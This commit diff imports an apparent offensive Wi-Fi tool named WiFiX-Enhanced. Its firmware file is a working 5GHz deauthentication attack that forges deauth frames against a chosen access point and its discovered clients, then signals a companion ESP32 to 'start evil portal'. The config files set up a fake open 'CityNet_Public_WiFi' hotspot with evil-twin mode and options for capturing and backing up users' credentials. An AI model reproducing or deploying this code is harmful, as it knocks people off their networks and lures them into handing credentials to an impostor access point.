chore: import local project into Gitea
This commit is contained in:
627
WiFiX-Enhanced/src/bw16_5ghz_deauth.ino
Normal file
627
WiFiX-Enhanced/src/bw16_5ghz_deauth.ino
Normal file
@@ -0,0 +1,627 @@
|
||||
#include <WiFi.h>
|
||||
#include <WiFiUdp.h>
|
||||
#include <ArduinoJson.h>
|
||||
#include <vector>
|
||||
|
||||
// Optional ESP32-specific includes for raw 802.11 TX and critical sections
|
||||
#ifdef ARDUINO_ARCH_ESP32
|
||||
#include <esp_wifi.h>
|
||||
#include <freertos/FreeRTOS.h>
|
||||
#include <freertos/portmacro.h>
|
||||
#endif
|
||||
|
||||
// --- WiFi compatibility layer (do not change behavior, only unify calls) ---
|
||||
// Forward declare the user handler implemented later in this file
|
||||
void promiscuousCallback(uint8_t *buf, uint16_t len);
|
||||
|
||||
#ifdef ARDUINO_ARCH_ESP32
|
||||
static void IRAM_ATTR promiscuousRxAdapter(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||||
if (!buf) return;
|
||||
// Pass raw payload to existing handler to preserve behavior
|
||||
wifi_promiscuous_pkt_t* pkt = reinterpret_cast<wifi_promiscuous_pkt_t*>(buf);
|
||||
uint8_t* payload = const_cast<uint8_t*>(pkt->payload);
|
||||
uint16_t len = pkt->rx_ctrl.sig_len;
|
||||
promiscuousCallback(payload, len);
|
||||
}
|
||||
static inline void WiFiCompat_setPromiscuous(bool enable) { esp_wifi_set_promiscuous(enable); }
|
||||
static inline void WiFiCompat_setPromiscuousCallback() { esp_wifi_set_promiscuous_rx_cb(&promiscuousRxAdapter); }
|
||||
static inline void WiFiCompat_setChannel(int ch) { esp_wifi_set_channel((uint8_t)ch, WIFI_SECOND_CHAN_NONE); }
|
||||
static inline void WiFiCompat_sendRaw(const uint8_t* buf, int len, bool /*en_ch*/ ) { esp_wifi_80211_tx(WIFI_IF_STA, (void*)buf, len, true); }
|
||||
#else
|
||||
extern "C" {
|
||||
void wifi_set_promiscuous(bool);
|
||||
void wifi_set_promiscuous_rx_cb(void (*cb)(uint8_t*, uint16_t));
|
||||
void wifi_send_pkt_freedom(uint8_t* buf, int len, bool);
|
||||
void wifi_set_channel(int ch);
|
||||
}
|
||||
static void promiscuousRxAdapter(uint8_t* buf, uint16_t len) { promiscuousCallback(buf, len); }
|
||||
static inline void WiFiCompat_setPromiscuous(bool enable) { wifi_set_promiscuous(enable); }
|
||||
static inline void WiFiCompat_setPromiscuousCallback() { wifi_set_promiscuous_rx_cb(&promiscuousRxAdapter); }
|
||||
static inline void WiFiCompat_setChannel(int ch) { wifi_set_channel(ch); }
|
||||
static inline void WiFiCompat_sendRaw(const uint8_t* buf, int len, bool en_ch) { wifi_send_pkt_freedom((uint8_t*)buf, len, en_ch); }
|
||||
#endif
|
||||
|
||||
// Lightweight critical section helpers for concurrent access from callback
|
||||
#ifdef ARDUINO_ARCH_ESP32
|
||||
static portMUX_TYPE g_vectorMux = portMUX_INITIALIZER_UNLOCKED;
|
||||
#define CRIT_ENTER() portENTER_CRITICAL(&g_vectorMux)
|
||||
#define CRIT_EXIT() portEXIT_CRITICAL(&g_vectorMux)
|
||||
#else
|
||||
#define CRIT_ENTER()
|
||||
#define CRIT_EXIT()
|
||||
#endif
|
||||
|
||||
// Communication with ESP32 - Fixed pin assignments
|
||||
#define ESP32_UART_TX 7
|
||||
#define ESP32_UART_RX 8
|
||||
#define UART_BAUD 115200
|
||||
|
||||
// WiFi configuration
|
||||
#define MAX_SCAN_RESULTS 50
|
||||
#define DEAUTH_FRAME_SIZE 26
|
||||
#define BEACON_FRAME_SIZE 128
|
||||
|
||||
// Attack parameters
|
||||
#define DEAUTH_PACKETS_PER_BURST 50
|
||||
#define DEAUTH_BURST_INTERVAL 100 // ms
|
||||
#define SUCCESS_THRESHOLD 10 // successful deauths to consider target down
|
||||
|
||||
// Structure for 5GHz access points
|
||||
struct AP5GHz {
|
||||
String ssid;
|
||||
String bssid;
|
||||
uint8_t bssid_bytes[6];
|
||||
int channel;
|
||||
int rssi;
|
||||
String security;
|
||||
bool is_target = false;
|
||||
bool is_down = false;
|
||||
int deauth_count = 0;
|
||||
unsigned long last_seen = 0;
|
||||
unsigned long attack_start = 0;
|
||||
};
|
||||
|
||||
// Structure for connected clients
|
||||
struct Client {
|
||||
uint8_t mac[6];
|
||||
String mac_str;
|
||||
String ap_bssid;
|
||||
int rssi;
|
||||
unsigned long last_seen;
|
||||
bool is_target = false;
|
||||
};
|
||||
|
||||
// Global variables
|
||||
std::vector<AP5GHz> accessPoints5GHz;
|
||||
std::vector<Client> connectedClients;
|
||||
std::vector<String> targetBSSIDs;
|
||||
|
||||
bool scanning = false;
|
||||
bool attacking = false;
|
||||
String currentAttackType = "";
|
||||
unsigned long lastScanUpdate = 0;
|
||||
unsigned long lastAttackUpdate = 0;
|
||||
unsigned long lastHeartbeat = 0;
|
||||
|
||||
// Attack statistics
|
||||
struct AttackStats {
|
||||
int total_deauths_sent = 0;
|
||||
int successful_disconnects = 0;
|
||||
int active_targets = 0;
|
||||
unsigned long attack_duration = 0;
|
||||
String current_target_ssid = "";
|
||||
String current_target_bssid = "";
|
||||
} attackStats;
|
||||
|
||||
void setup() {
|
||||
Serial.begin(UART_BAUD);
|
||||
Serial1.begin(UART_BAUD, SERIAL_8N1, ESP32_UART_RX, ESP32_UART_TX);
|
||||
|
||||
// Initialize WiFi in monitor mode for 5GHz
|
||||
WiFi.mode(WIFI_STA);
|
||||
WiFi.disconnect();
|
||||
|
||||
// Enable promiscuous mode for packet injection
|
||||
WiFiCompat_setPromiscuous(true);
|
||||
WiFiCompat_setPromiscuousCallback();
|
||||
|
||||
Serial.println("BW16 5GHz Deauth System Initialized");
|
||||
sendToESP32("BW16_READY", "5GHz deauth system online");
|
||||
|
||||
delay(1000);
|
||||
}
|
||||
|
||||
void loop() {
|
||||
// Handle ESP32 commands
|
||||
handleESP32Communication();
|
||||
|
||||
// Update scanning
|
||||
if (scanning) {
|
||||
updateScan();
|
||||
}
|
||||
|
||||
// Update attacks
|
||||
if (attacking) {
|
||||
updateAttacks();
|
||||
}
|
||||
|
||||
// Send periodic heartbeat
|
||||
if (millis() - lastHeartbeat > 5000) {
|
||||
sendHeartbeat();
|
||||
lastHeartbeat = millis();
|
||||
}
|
||||
|
||||
delay(10);
|
||||
}
|
||||
|
||||
void handleESP32Communication() {
|
||||
if (Serial1.available()) {
|
||||
String message = Serial1.readStringUntil('\n');
|
||||
message.trim();
|
||||
|
||||
if (message.startsWith("CMD:")) {
|
||||
processCommand(message.substring(4));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void processCommand(String command) {
|
||||
DynamicJsonDocument doc(1024);
|
||||
deserializeJson(doc, command);
|
||||
|
||||
String cmd = doc["command"];
|
||||
|
||||
if (cmd == "start_scan_5ghz") {
|
||||
startScan5GHz();
|
||||
} else if (cmd == "stop_scan") {
|
||||
stopScan();
|
||||
} else if (cmd == "start_deauth") {
|
||||
String target = doc["target"];
|
||||
String ssid = doc["ssid"];
|
||||
startDeauthAttack(target, ssid);
|
||||
} else if (cmd == "stop_attack") {
|
||||
stopAttack();
|
||||
} else if (cmd == "get_status") {
|
||||
sendStatus();
|
||||
} else if (cmd == "set_channel") {
|
||||
int channel = doc["channel"];
|
||||
setChannel5GHz(channel);
|
||||
}
|
||||
}
|
||||
|
||||
void startScan5GHz() {
|
||||
scanning = true;
|
||||
accessPoints5GHz.clear();
|
||||
connectedClients.clear();
|
||||
|
||||
Serial.println("Starting 5GHz scan...");
|
||||
|
||||
// Scan 5GHz channels (36, 40, 44, 48, 149, 153, 157, 161, 165)
|
||||
static const int channels_5ghz[] = {36, 40, 44, 48, 149, 153, 157, 161, 165};
|
||||
const size_t ch_count = sizeof(channels_5ghz)/sizeof(channels_5ghz[0]);
|
||||
|
||||
for (size_t i = 0; i < ch_count; i++) {
|
||||
setChannel5GHz(channels_5ghz[i]);
|
||||
delay(500); // Dwell time per channel
|
||||
|
||||
// Perform active scan on this channel
|
||||
scanChannel5GHz(channels_5ghz[i]);
|
||||
}
|
||||
|
||||
sendToESP32("SCAN_COMPLETE", "5GHz scan finished");
|
||||
}
|
||||
|
||||
void scanChannel5GHz(int channel) {
|
||||
Serial.printf("Scanning 5GHz channel %d\n", channel);
|
||||
|
||||
// Use WiFi.scanNetworks() for 5GHz
|
||||
int n = WiFi.scanNetworks(false, true, false, 300U, channel);
|
||||
|
||||
for (int i = 0; i < n; i++) {
|
||||
// Only process 5GHz networks (channels > 14)
|
||||
if (WiFi.channel(i) > 14) {
|
||||
AP5GHz ap;
|
||||
ap.ssid = WiFi.SSID(i);
|
||||
ap.bssid = WiFi.BSSIDstr(i);
|
||||
// Safer BSSID parse to prevent sscanf integer size issues
|
||||
parseBSSIDSafe(ap.bssid, ap.bssid_bytes);
|
||||
ap.channel = WiFi.channel(i);
|
||||
ap.rssi = WiFi.RSSI(i);
|
||||
ap.security = getSecurityType(WiFi.encryptionType(i));
|
||||
ap.last_seen = millis();
|
||||
|
||||
// Check if AP already exists
|
||||
bool exists = false;
|
||||
for (auto& existing : accessPoints5GHz) {
|
||||
if (existing.bssid == ap.bssid) {
|
||||
existing.last_seen = millis();
|
||||
existing.rssi = ap.rssi;
|
||||
exists = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!exists) {
|
||||
accessPoints5GHz.push_back(ap);
|
||||
|
||||
// Send AP info to ESP32
|
||||
DynamicJsonDocument apDoc(512);
|
||||
apDoc["type"] = "AP_FOUND";
|
||||
apDoc["ssid"] = ap.ssid;
|
||||
apDoc["bssid"] = ap.bssid;
|
||||
apDoc["channel"] = ap.channel;
|
||||
apDoc["rssi"] = ap.rssi;
|
||||
apDoc["security"] = ap.security;
|
||||
apDoc["band"] = "5GHz";
|
||||
|
||||
String apData;
|
||||
serializeJson(apDoc, apData);
|
||||
sendToESP32("AP_DATA", apData);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
WiFi.scanDelete();
|
||||
}
|
||||
|
||||
void startDeauthAttack(String targetBSSID, String targetSSID) {
|
||||
attacking = true;
|
||||
currentAttackType = "deauth";
|
||||
|
||||
attackStats.current_target_bssid = targetBSSID;
|
||||
attackStats.current_target_ssid = targetSSID;
|
||||
attackStats.attack_duration = millis();
|
||||
attackStats.total_deauths_sent = 0;
|
||||
attackStats.successful_disconnects = 0;
|
||||
|
||||
// Find target AP
|
||||
AP5GHz* targetAP = nullptr;
|
||||
for (auto& ap : accessPoints5GHz) {
|
||||
if (ap.bssid == targetBSSID) {
|
||||
ap.is_target = true;
|
||||
ap.attack_start = millis();
|
||||
targetAP = ≈
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetAP) {
|
||||
Serial.println("Target AP not found!");
|
||||
sendToESP32("ATTACK_ERROR", "Target AP not found");
|
||||
return;
|
||||
}
|
||||
|
||||
// Set channel to target AP's channel
|
||||
setChannel5GHz(targetAP->channel);
|
||||
|
||||
Serial.printf("Starting deauth attack on %s (%s) channel %d\n",
|
||||
targetSSID.c_str(), targetBSSID.c_str(), targetAP->channel);
|
||||
|
||||
// Start monitoring for clients
|
||||
startClientDiscovery(targetBSSID);
|
||||
|
||||
sendToESP32("ATTACK_STARTED", targetBSSID + ":" + targetSSID);
|
||||
}
|
||||
|
||||
void startClientDiscovery(String apBSSID) {
|
||||
// Enable promiscuous mode to capture client frames
|
||||
wifi_set_promiscuous(true);
|
||||
|
||||
// Clear existing clients for this AP
|
||||
connectedClients.erase(
|
||||
std::remove_if(connectedClients.begin(), connectedClients.end(),
|
||||
[apBSSID](const Client& c) { return c.ap_bssid == apBSSID; }),
|
||||
connectedClients.end());
|
||||
|
||||
Serial.printf("Discovering clients for AP: %s\n", apBSSID.c_str());
|
||||
}
|
||||
|
||||
void updateAttacks() {
|
||||
if (!attacking || currentAttackType != "deauth") return;
|
||||
|
||||
// Find active target
|
||||
AP5GHz* targetAP = nullptr;
|
||||
for (auto& ap : accessPoints5GHz) {
|
||||
if (ap.is_target && !ap.is_down) {
|
||||
targetAP = ≈
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetAP) {
|
||||
Serial.println("No active target found");
|
||||
stopAttack();
|
||||
return;
|
||||
}
|
||||
|
||||
// Send deauth packets every 100ms
|
||||
if (millis() - lastAttackUpdate > DEAUTH_BURST_INTERVAL) {
|
||||
sendDeauthBurst(targetAP);
|
||||
lastAttackUpdate = millis();
|
||||
|
||||
// Check if target is down
|
||||
if (targetAP->deauth_count >= SUCCESS_THRESHOLD) {
|
||||
targetAP->is_down = true;
|
||||
attackStats.successful_disconnects++;
|
||||
|
||||
Serial.printf("Target %s successfully taken down!\n", targetAP->ssid.c_str());
|
||||
|
||||
// Notify ESP32 to start evil portal
|
||||
DynamicJsonDocument successDoc(512);
|
||||
successDoc["type"] = "DEAUTH_SUCCESS";
|
||||
successDoc["ssid"] = targetAP->ssid;
|
||||
successDoc["bssid"] = targetAP->bssid;
|
||||
successDoc["channel"] = targetAP->channel;
|
||||
successDoc["deauth_count"] = targetAP->deauth_count;
|
||||
|
||||
String successData;
|
||||
serializeJson(successDoc, successData);
|
||||
sendToESP32("DEAUTH_SUCCESS", successData);
|
||||
|
||||
// Continue attacking to keep it down
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void sendDeauthBurst(AP5GHz* targetAP) {
|
||||
uint8_t deauthPacket[DEAUTH_FRAME_SIZE];
|
||||
|
||||
// Build deauth frame
|
||||
// Frame Control
|
||||
deauthPacket[0] = 0xC0; // Type: Management, Subtype: Deauthentication
|
||||
deauthPacket[1] = 0x00;
|
||||
|
||||
// Duration
|
||||
deauthPacket[2] = 0x00;
|
||||
deauthPacket[3] = 0x00;
|
||||
|
||||
// Destination (broadcast)
|
||||
memset(&deauthPacket[4], 0xFF, 6);
|
||||
|
||||
// Source (AP BSSID)
|
||||
memcpy(&deauthPacket[10], targetAP->bssid_bytes, 6);
|
||||
|
||||
// BSSID (AP BSSID)
|
||||
memcpy(&deauthPacket[16], targetAP->bssid_bytes, 6);
|
||||
|
||||
// Sequence Control
|
||||
deauthPacket[22] = 0x00;
|
||||
deauthPacket[23] = 0x00;
|
||||
|
||||
// Reason Code (0x0007 = Class 3 frame received from nonassociated STA)
|
||||
deauthPacket[24] = 0x07;
|
||||
deauthPacket[25] = 0x00;
|
||||
|
||||
// Send burst of deauth packets
|
||||
for (int i = 0; i < DEAUTH_PACKETS_PER_BURST; i++) {
|
||||
// Broadcast deauth
|
||||
WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
|
||||
|
||||
// If we have discovered clients, target them specifically
|
||||
CRIT_ENTER();
|
||||
for (const auto& client : connectedClients) {
|
||||
if (client.ap_bssid == targetAP->bssid) {
|
||||
// Modify destination to client MAC
|
||||
memcpy(&deauthPacket[4], client.mac, 6);
|
||||
WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
|
||||
|
||||
// Also send from client to AP
|
||||
memcpy(&deauthPacket[4], targetAP->bssid_bytes, 6); // Destination: AP
|
||||
memcpy(&deauthPacket[10], client.mac, 6); // Source: Client
|
||||
WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
|
||||
}
|
||||
}
|
||||
CRIT_EXIT();
|
||||
|
||||
delayMicroseconds(100); // Small delay between packets
|
||||
}
|
||||
|
||||
targetAP->deauth_count += DEAUTH_PACKETS_PER_BURST;
|
||||
attackStats.total_deauths_sent += DEAUTH_PACKETS_PER_BURST;
|
||||
|
||||
Serial.printf("Sent %d deauth packets to %s (total: %d)\n",
|
||||
DEAUTH_PACKETS_PER_BURST, targetAP->ssid.c_str(), targetAP->deauth_count);
|
||||
}
|
||||
|
||||
void promiscuousCallback(uint8_t *buf, uint16_t len) {
|
||||
if (len < 24) return; // Minimum frame size
|
||||
|
||||
// Parse frame type
|
||||
uint8_t frameType = buf[0] & 0xFC;
|
||||
uint8_t frameSubType = (buf[0] & 0xF0) >> 4;
|
||||
|
||||
// Look for data frames to identify clients
|
||||
if (frameType == 0x08) { // Data frame
|
||||
uint8_t* srcMAC = &buf[10];
|
||||
uint8_t* dstMAC = &buf[4];
|
||||
uint8_t* bssid = &buf[16];
|
||||
|
||||
// Check if this is communication with our target AP
|
||||
for (const auto& ap : accessPoints5GHz) {
|
||||
if (ap.is_target && memcmp(bssid, ap.bssid_bytes, 6) == 0) {
|
||||
// Found client communication
|
||||
uint8_t* clientMAC = nullptr;
|
||||
|
||||
// Determine which MAC is the client
|
||||
if (memcmp(srcMAC, ap.bssid_bytes, 6) != 0) {
|
||||
clientMAC = srcMAC;
|
||||
} else if (memcmp(dstMAC, ap.bssid_bytes, 6) != 0) {
|
||||
clientMAC = dstMAC;
|
||||
}
|
||||
|
||||
if (clientMAC) {
|
||||
addDiscoveredClient(clientMAC, ap.bssid);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void addDiscoveredClient(uint8_t* clientMAC, String apBSSID) {
|
||||
// Check if client already exists
|
||||
CRIT_ENTER();
|
||||
for (auto& client : connectedClients) {
|
||||
if (memcmp(client.mac, clientMAC, 6) == 0 && client.ap_bssid == apBSSID) {
|
||||
client.last_seen = millis();
|
||||
CRIT_EXIT();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Add new client
|
||||
Client newClient;
|
||||
memcpy(newClient.mac, clientMAC, 6);
|
||||
newClient.mac_str = macToString(clientMAC);
|
||||
newClient.ap_bssid = apBSSID;
|
||||
newClient.last_seen = millis();
|
||||
newClient.is_target = true;
|
||||
|
||||
connectedClients.push_back(newClient);
|
||||
CRIT_EXIT();
|
||||
|
||||
Serial.printf("Discovered client: %s connected to %s\n",
|
||||
newClient.mac_str.c_str(), apBSSID.c_str());
|
||||
|
||||
// Notify ESP32 about discovered client
|
||||
DynamicJsonDocument clientDoc(256);
|
||||
clientDoc["type"] = "CLIENT_FOUND";
|
||||
clientDoc["mac"] = newClient.mac_str;
|
||||
clientDoc["ap_bssid"] = apBSSID;
|
||||
|
||||
String clientData;
|
||||
serializeJson(clientDoc, clientData);
|
||||
sendToESP32("CLIENT_DATA", clientData);
|
||||
}
|
||||
|
||||
void stopScan() {
|
||||
scanning = false;
|
||||
Serial.println("5GHz scan stopped");
|
||||
sendToESP32("SCAN_STOPPED", "");
|
||||
}
|
||||
|
||||
void stopAttack() {
|
||||
attacking = false;
|
||||
currentAttackType = "";
|
||||
|
||||
// Reset target flags
|
||||
for (auto& ap : accessPoints5GHz) {
|
||||
ap.is_target = false;
|
||||
ap.is_down = false;
|
||||
ap.deauth_count = 0;
|
||||
}
|
||||
|
||||
// Clear client targets
|
||||
for (auto& client : connectedClients) {
|
||||
client.is_target = false;
|
||||
}
|
||||
|
||||
WiFiCompat_setPromiscuous(false);
|
||||
|
||||
Serial.println("Attack stopped");
|
||||
sendToESP32("ATTACK_STOPPED", "");
|
||||
}
|
||||
|
||||
void setChannel5GHz(int channel) {
|
||||
// Set 5GHz channel
|
||||
WiFiCompat_setChannel(channel);
|
||||
Serial.printf("Set 5GHz channel to %d\n", channel);
|
||||
}
|
||||
|
||||
void sendStatus() {
|
||||
DynamicJsonDocument statusDoc(1024);
|
||||
statusDoc["type"] = "BW16_STATUS";
|
||||
statusDoc["scanning"] = scanning;
|
||||
statusDoc["attacking"] = attacking;
|
||||
statusDoc["attack_type"] = currentAttackType;
|
||||
statusDoc["aps_found"] = accessPoints5GHz.size();
|
||||
statusDoc["clients_found"] = connectedClients.size();
|
||||
|
||||
// Attack statistics
|
||||
JsonObject stats = statusDoc.createNestedObject("attack_stats");
|
||||
stats["total_deauths"] = attackStats.total_deauths_sent;
|
||||
stats["successful_disconnects"] = attackStats.successful_disconnects;
|
||||
stats["current_target_ssid"] = attackStats.current_target_ssid;
|
||||
stats["current_target_bssid"] = attackStats.current_target_bssid;
|
||||
|
||||
if (attacking) {
|
||||
stats["attack_duration"] = (millis() - attackStats.attack_duration) / 1000;
|
||||
}
|
||||
|
||||
String statusData;
|
||||
serializeJson(statusDoc, statusData);
|
||||
sendToESP32("STATUS", statusData);
|
||||
}
|
||||
|
||||
void sendHeartbeat() {
|
||||
DynamicJsonDocument heartbeatDoc(256);
|
||||
heartbeatDoc["type"] = "HEARTBEAT";
|
||||
heartbeatDoc["uptime"] = millis() / 1000;
|
||||
heartbeatDoc["free_memory"] = ESP.getFreeHeap();
|
||||
|
||||
String heartbeatData;
|
||||
serializeJson(heartbeatDoc, heartbeatData);
|
||||
sendToESP32("HEARTBEAT", heartbeatData);
|
||||
}
|
||||
|
||||
void updateScan() {
|
||||
// Periodic scan updates
|
||||
if (millis() - lastScanUpdate > 10000) { // Every 10 seconds
|
||||
// Remove old APs
|
||||
accessPoints5GHz.erase(
|
||||
std::remove_if(accessPoints5GHz.begin(), accessPoints5GHz.end(),
|
||||
[](const AP5GHz& ap) { return millis() - ap.last_seen > 30000; }),
|
||||
accessPoints5GHz.end());
|
||||
|
||||
lastScanUpdate = millis();
|
||||
}
|
||||
}
|
||||
|
||||
void sendToESP32(String type, String data) {
|
||||
DynamicJsonDocument doc(1024);
|
||||
doc["type"] = type;
|
||||
doc["data"] = data;
|
||||
doc["timestamp"] = millis();
|
||||
|
||||
String message;
|
||||
serializeJson(doc, message);
|
||||
|
||||
Serial1.println(message);
|
||||
Serial.printf("Sent to ESP32: %s\n", message.c_str());
|
||||
}
|
||||
|
||||
// Utility functions
|
||||
// Original kept for compatibility; prefer parseBSSIDSafe
|
||||
void parseBSSID(String bssidStr, uint8_t* bssidBytes) {
|
||||
parseBSSIDSafe(bssidStr, bssidBytes);
|
||||
}
|
||||
|
||||
void parseBSSIDSafe(const String& bssidStr, uint8_t* bssidBytes) {
|
||||
unsigned int v[6] = {0};
|
||||
if (sscanf(bssidStr.c_str(), "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||
&v[0], &v[1], &v[2], &v[3], &v[4], &v[5]) == 6) {
|
||||
for (int i = 0; i < 6; ++i) bssidBytes[i] = static_cast<uint8_t>(v[i]);
|
||||
} else {
|
||||
memset(bssidBytes, 0, 6);
|
||||
}
|
||||
}
|
||||
|
||||
String macToString(uint8_t* mac) {
|
||||
char macStr[18];
|
||||
sprintf(macStr, "%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
return String(macStr);
|
||||
}
|
||||
|
||||
String getSecurityType(wifi_auth_mode_t encType) {
|
||||
switch (encType) {
|
||||
case WIFI_AUTH_OPEN: return "Open";
|
||||
case WIFI_AUTH_WEP: return "WEP";
|
||||
case WIFI_AUTH_WPA_PSK: return "WPA";
|
||||
case WIFI_AUTH_WPA2_PSK: return "WPA2";
|
||||
case WIFI_AUTH_WPA_WPA2_PSK: return "WPA/WPA2";
|
||||
case WIFI_AUTH_WPA2_ENTERPRISE: return "WPA2-Enterprise";
|
||||
case WIFI_AUTH_WPA3_PSK: return "WPA3";
|
||||
default: return "Unknown";
|
||||
}
|
||||
}
|
||||
62
WiFiX-Enhanced/src/config.h
Normal file
62
WiFiX-Enhanced/src/config.h
Normal file
@@ -0,0 +1,62 @@
|
||||
/**
|
||||
* WiFiX-Enhanced Configuration
|
||||
*
|
||||
* Derived from config_template.h with neutral branding and values.
|
||||
*/
|
||||
|
||||
#ifndef CONFIG_H
|
||||
#define CONFIG_H
|
||||
|
||||
// =============================================================================
|
||||
// DEVICE CONFIGURATION
|
||||
// =============================================================================
|
||||
|
||||
#define DEVICE_NAME "WiFiX_Enhanced"
|
||||
#define DEVICE_VERSION "1.2.0"
|
||||
#define HARDWARE_ID "BW16_ESP32"
|
||||
|
||||
#define MODE_CAPTIVE_PORTAL 0
|
||||
#define MODE_DEAUTH_ONLY 1
|
||||
#define MODE_EVIL_TWIN 2
|
||||
#define OPERATING_MODE MODE_CAPTIVE_PORTAL
|
||||
|
||||
// =============================================================================
|
||||
// NETWORK CONFIGURATION
|
||||
// =============================================================================
|
||||
|
||||
// Neutral SSID for the AP
|
||||
#define DEFAULT_SSID "Public_WiFi"
|
||||
#define DEFAULT_PASSWORD "" // Open network by default
|
||||
#define HIDDEN_NETWORK false
|
||||
#define MAX_CLIENTS 8
|
||||
|
||||
#define AP_IP_ADDR "192.168.4.1"
|
||||
#define AP_GATEWAY "192.168.4.1"
|
||||
#define AP_SUBNET "255.255.255.0"
|
||||
#define DHCP_START "192.168.4.10"
|
||||
#define DHCP_END "192.168.4.50"
|
||||
|
||||
#define WEB_SERVER_PORT 80
|
||||
#define DNS_PORT 53
|
||||
#define CAPTIVE_PORTAL_DOMAIN "wifi.portal.local"
|
||||
#define REDIRECT_URL "http://192.168.4.1"
|
||||
|
||||
// =============================================================================
|
||||
// WEB INTERFACE SETTINGS (Branding)
|
||||
// =============================================================================
|
||||
|
||||
#define PORTAL_COMPANY_NAME "Public WiFi"
|
||||
#define PORTAL_LOGO_URL "/logo.png"
|
||||
#define PORTAL_BACKGROUND_URL "/background.jpg"
|
||||
#define SESSION_TIMEOUT_MINUTES 120
|
||||
#define ENABLE_SOCIAL_LOGIN false
|
||||
#define ENABLE_TERMS_ACCEPTANCE true
|
||||
|
||||
// =============================================================================
|
||||
// SECURITY & DEBUG (kept minimal here)
|
||||
// =============================================================================
|
||||
|
||||
#define ENABLE_SERIAL_DEBUG true
|
||||
#define DEBUG_LEVEL 2
|
||||
|
||||
#endif // CONFIG_H
|
||||
246
WiFiX-Enhanced/src/config_template.h
Normal file
246
WiFiX-Enhanced/src/config_template.h
Normal file
@@ -0,0 +1,246 @@
|
||||
/**
|
||||
* WiFiX-Enhanced Configuration Template
|
||||
*
|
||||
* Copy this file to config.h and modify values as needed
|
||||
* This file contains all configurable parameters for the system
|
||||
*/
|
||||
|
||||
#ifndef CONFIG_H
|
||||
#define CONFIG_H
|
||||
|
||||
// =============================================================================
|
||||
// DEVICE CONFIGURATION
|
||||
// =============================================================================
|
||||
|
||||
// Device identification
|
||||
#define DEVICE_NAME "WiFiX_Enhanced"
|
||||
#define DEVICE_VERSION "1.2.0"
|
||||
#define HARDWARE_ID "BW16_ESP32"
|
||||
|
||||
// Operational modes
|
||||
#define MODE_CAPTIVE_PORTAL 0
|
||||
#define MODE_DEAUTH_ONLY 1
|
||||
#define MODE_EVIL_TWIN 2
|
||||
#define OPERATING_MODE MODE_CAPTIVE_PORTAL
|
||||
|
||||
// =============================================================================
|
||||
// NETWORK CONFIGURATION
|
||||
// =============================================================================
|
||||
|
||||
// WiFi Access Point settings
|
||||
#define DEFAULT_SSID "CityNet_Public_WiFi"
|
||||
#define DEFAULT_PASSWORD "" // Empty for open network
|
||||
#define HIDDEN_NETWORK false
|
||||
#define MAX_CLIENTS 8
|
||||
|
||||
// Network addressing
|
||||
#define AP_IP_ADDR "192.168.4.1"
|
||||
#define AP_GATEWAY "192.168.4.1"
|
||||
#define AP_SUBNET "255.255.255.0"
|
||||
#define DHCP_START "192.168.4.10"
|
||||
#define DHCP_END "192.168.4.50"
|
||||
|
||||
// Web server configuration
|
||||
#define WEB_SERVER_PORT 80
|
||||
#define DNS_PORT 53
|
||||
#define CAPTIVE_PORTAL_DOMAIN "wifi.citynet.local"
|
||||
#define REDIRECT_URL "http://192.168.4.1"
|
||||
|
||||
// =============================================================================
|
||||
// HARDWARE PIN CONFIGURATION
|
||||
// =============================================================================
|
||||
|
||||
// I2C for OLED display
|
||||
#define I2C_SDA 21
|
||||
#define I2C_SCL 22
|
||||
#define OLED_ADDRESS 0x3C
|
||||
#define OLED_RESET -1 // Not used for SSD1306
|
||||
|
||||
// SPI for SD card
|
||||
#define SD_CARD_CS_PIN 5
|
||||
#define SD_CARD_MOSI 23
|
||||
#define SD_CARD_MISO 19
|
||||
#define SD_CARD_CLK 18
|
||||
|
||||
// UART for BW16 communication
|
||||
#define BW16_UART_TX 17
|
||||
#define BW16_UART_RX 16
|
||||
#define BW16_BAUD_RATE 115200
|
||||
|
||||
// Status LED (if available)
|
||||
#define STATUS_LED_PIN 2
|
||||
#define LED_ACTIVE_HIGH true
|
||||
|
||||
// =============================================================================
|
||||
// FEATURE TOGGLES
|
||||
// =============================================================================
|
||||
|
||||
#define ENABLE_SD_CARD true
|
||||
#define ENABLE_OLED_DISPLAY true
|
||||
#define ENABLE_SERIAL_DEBUG true
|
||||
#define ENABLE_WEB_INTERFACE true
|
||||
#define ENABLE_DNS_REDIRECT true
|
||||
#define ENABLE_DEAUTHENTICATION true
|
||||
#define ENABLE_CREDENTIAL_BACKUP true
|
||||
#define ENABLE_AUTO_BACKUP true
|
||||
|
||||
// =============================================================================
|
||||
// CREDENTIAL MANAGEMENT
|
||||
// =============================================================================
|
||||
|
||||
// Storage limits
|
||||
#define MAX_CREDENTIALS 100
|
||||
#define CREDENTIAL_ENCRYPTION true
|
||||
#define ENCRYPTION_KEY "WiFiX2024SecureKey!" // Change this!
|
||||
|
||||
// Backup configuration
|
||||
#define BACKUP_TO_SD true
|
||||
#define BACKUP_INTERVAL_MINUTES 5
|
||||
#define MAX_BACKUP_FILES 10
|
||||
#define BACKUP_FILE_PREFIX "credentials_"
|
||||
|
||||
// Credential types
|
||||
#define CRED_TYPE_GENERIC 0
|
||||
#define CRED_TYPE_HOTEL 1
|
||||
#define CRED_TYPE_CORPORATE 2
|
||||
#define CRED_TYPE_PUBLIC 3
|
||||
#define CRED_TYPE_SOCIAL 4
|
||||
|
||||
// =============================================================================
|
||||
// DEAUTHENTICATION SETTINGS
|
||||
// =============================================================================
|
||||
|
||||
#define DEAUTH_CHANNEL_HOP true
|
||||
#define DEAUTH_INTERVAL_MS 100
|
||||
#define DEAUTH_MAX_RETRIES 3
|
||||
